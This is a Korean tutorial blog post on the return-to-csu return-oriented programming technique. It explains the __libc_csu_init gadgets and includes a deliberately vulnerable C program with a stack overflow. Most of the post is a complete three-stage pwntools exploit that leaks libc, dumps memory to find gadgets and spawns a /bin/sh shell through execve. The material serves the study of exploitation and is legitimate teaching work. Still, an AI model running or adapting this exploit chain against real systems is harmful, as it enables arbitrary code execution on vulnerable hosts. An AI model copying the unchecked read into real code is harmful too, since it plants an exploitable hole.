return-to-csu
__libc_csu_init() 함수의 일부 코드를 gadget으로 이용하는 기술
void __libc_csu_init (int argc, char **argv, char **envp)
{
...
const size_t size = __init_array_end - __init_array_start;
for (size_t i = 0; i < size; i++)
(*__init_array_start [i]) (argc, argv, envp);
}
( https://code.woboq.org/userspace/glibc/csu/elf-init.c.html#__libc_csu_init )
__libc_csu_init()함수
: 프로그램 실행 시, __init() 함수와 __preinit_array, __init_array에 설정된 함수 포인터를 읽어 함수를 호출
Gadget 1: rbx, rbp, r12, r13, r14, r15 레지스터에 값을 저장
Gadget 2: r13, r14, r15 레지스터에 저장된 값을 rdx, rsi, edi 레지스터에 저장 + r12 레지스터 값에 저장된 주소 호출
→ mov edi, r15d = r15에 저장된 64bit 값에서 32bit 값만 edi 레지스터에 저장
→ 최대 3개의 인자 값만 함수에 전달 가능
※ rbx, rbp 레지스터의 값을 주의 ※
gadget1: rbx 레지스터에 '0' 저장 → r12 레지스터 값에 저장된 주소 호출 가능
gadget1: rbp 레지스터에 '1' 저장 → 조건문 우회 가능 ▷ 조건문을 우회해야만 연속적으로 gadget 사용이 가능
gadget2: "call QWORD PTR [r12+rbx*8]" 명령어 처리 후 조건문 cmp, jne 처리
→ cmp rbx, rbp = rbx, rbp 레지스터의 값이 같은지 확인
→ jne = cmp 결과 두 값이 다를 경우 gadget2로 이동
cmp 결과 두 값이 같을 경우 gadget1로 이동
Proof of Concept
//gcc -fno-stack-protector -o rop rop.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
void vuln(){
char buf[50];
read(0, buf, 512);
}
void main(){
write(1,"Hello ROP\n",10);
vuln();
}
overflow
rsp = 0x7fffffffde78
rsi = 0x7fffffffde30
return address - buf 변수 시작주소 = 72 ▷72개 이상의 문자를 입력함으로써 return address 영역을 덮어 쓸 수 있다
Exploit Method
rop 기법을 이용한 exploit 순서
1. 첫번째 ROP Chain
- write() 함수를 이용해 __libc_start_main@got 영역에 저장된 libc 주소 추출
- read() 함수를 이용해 .bss 영역에 다음 ROP 코드 받기
2. 두번째 ROP Chain
- "/bin/sh\x00": execve() 함수의 첫번째 인자로 전달될 "/bin/sh" 문자열을 .bss 영역에 저장
- JIT ROP: write() 함수를 이용해 메모리에 저장된 libc 파일 출력 ▷ 출력 값에서 필요한 ROP gadget 찾기
- read() 함수를 이용해 .bss 영역에 다음 ROP 코드 받기
3. 세번째 ROP Chain
- execve() 시스템 함수를 이용해 "/bin/sh" 실행
write(1,__libc_start_main,8)
read(0,.bss + 0x400,400)
JMP .bss + 0x400
write(1,Address of leak libc,0x190000)
read(0,"base_stage + len(buf) + 8 * 10" ,100)
execve("/bin/sh", NULL, NULL)
필요한 정보
- .bss 주소
- return-to-csu gadget 주소
- read@got, write@got 주소
- "/bin/sh"
.bss 주소 찾기
return-to-csu gadget 찾기
gadget1 = 0x40060a
gadget2 = 0x4005f0
gadget3 = 0x40060d (5c)
pop r8, r9, r10, r11, r12, r13, r14, r15 명령어들은 pop rax, rcx, rdx, rbx, rsp, rbp, rsi, rdi 명령어로 활용 가능
ex) pop r8 명령어의 hex 값: "41 58" ▷ pop rax 명령어도 사용 가능 (hex 값: "58")
gadget3(0x40060d; 5c)를 이용하여 rsp 레지스터에 값을 저장 가능 ▷ RSP 레지스터에 다음 ROP 코드가 저장된 영역의 주소를 저장하고 해당 영역으로 이동해 코드를 실행
Exploit Code
from pwn import *
from struct import *
#context.log_level = 'debug'
binary = ELF('./rop')
execve = 59
addr_bss = 0x601050
addr_got_read = binary.got['read']
addr_got_write = binary.got['write']
addr_got_start = binary.got['__libc_start_main']
addr_csu_init1 = 0x40060a
addr_csu_init2 = 0x4005f0
addr_csu_init3 = 0x40060d
stacksize = 0x400
base_stage = addr_bss + stacksize
p = process(binary.path)
p.recvn(10)
# stage 1: read address of __libc_start_main()
buf = 'A' * 72
#Gadget 1
buf += p64(addr_csu_init1)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_write)
buf += p64(8)
buf += p64(addr_got_start)
buf += p64(1)
#Gadget 2 - write(1,__libc_start_main,8)
buf += p64(addr_csu_init2)
buf += p64(0)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_read)
buf += p64(400)
buf += p64(base_stage)
buf += p64(0)
#Gadget 2 - Call read(0,.bss + 0x400,400)
buf += p64(addr_csu_init2)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(addr_csu_init3)
buf += p64(base_stage)
p.send(buf)
libc_addr = u64(p.recv())
log.info("__libc_start_main : " + hex(libc_addr))
libc_bin = ''
libc_readsize = 0x190000
# stage 2: "/bin/sh\x00" and JIT ROP
buf = "/bin/sh\x00"
buf += 'A' * (24-len(buf))
buf += p64(addr_csu_init1)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_write)
buf += p64(libc_readsize)
buf += p64(libc_addr)
buf += p64(1)
#Gadget 1 - write(1,Address of leak libc,0x190000)
buf += p64(addr_csu_init2)
buf += p64(0)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_read)
buf += p64(100)
buf += p64(base_stage + len(buf) + 8 * 10)
buf += p64(0)
#Gadget 2 - read(0,"base_stage + len(buf) + 8 * 10" ,100)
buf += p64(addr_csu_init2)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
p.send(buf)
with log.progress('Reading libc area from memory...') as l:
for i in range(0,libc_readsize/4096):
libc_bin += p.recv(4096)
l.status(hex(len(libc_bin)))
offs_pop_rax = libc_bin.index('\x58\xc3') # pop rax; ret
offs_pop_rdi = libc_bin.index('\x5f\xc3') # pop rdi; ret
offs_pop_rsi = libc_bin.index('\x5e\xc3') # pop rsi; ret
offs_pop_rdx = libc_bin.index('\x5a\xc3') # pop rdx; ret
offs_syscall = libc_bin.index('\x0f\x05') # syscall
log.info("Gadget : pop rax; ret > " + hex(libc_addr + offs_pop_rax))
log.info("Gadget : pop rdi; ret > " + hex(libc_addr + offs_pop_rdi))
log.info("Gadget : pop rsi; ret > " + hex(libc_addr + offs_pop_rsi))
log.info("Gadget : pop rdx; ret > " + hex(libc_addr + offs_pop_rdx))
log.info("Gadget : syscall > " + hex(libc_addr + offs_syscall))
# stage 3: execve("/bin/sh", NULL, NULL)
buf = p64(libc_addr + offs_pop_rax)
buf += p64(execve)
buf += p64(libc_addr + offs_pop_rdi)
buf += p64(base_stage)
buf += p64(libc_addr + offs_pop_rsi)
buf += p64(0)
buf += p64(libc_addr + offs_pop_rdx)
buf += p64(0)
buf += p64(libc_addr + offs_syscall)
p.send(buf)
p.interactive()
'System > System Hacking' 카테고리의 다른 글
[Heap] ptmalloc2 (0) | 2020.09.12 |
---|---|
Return to csu (ft. Return-to-vuln, Just-In-Time Code Reuse) (0) | 2020.08.15 |
SROP x64 (0) | 2020.07.24 |
SROP x86 (0) | 2020.07.23 |
SROP (0) | 2020.07.23 |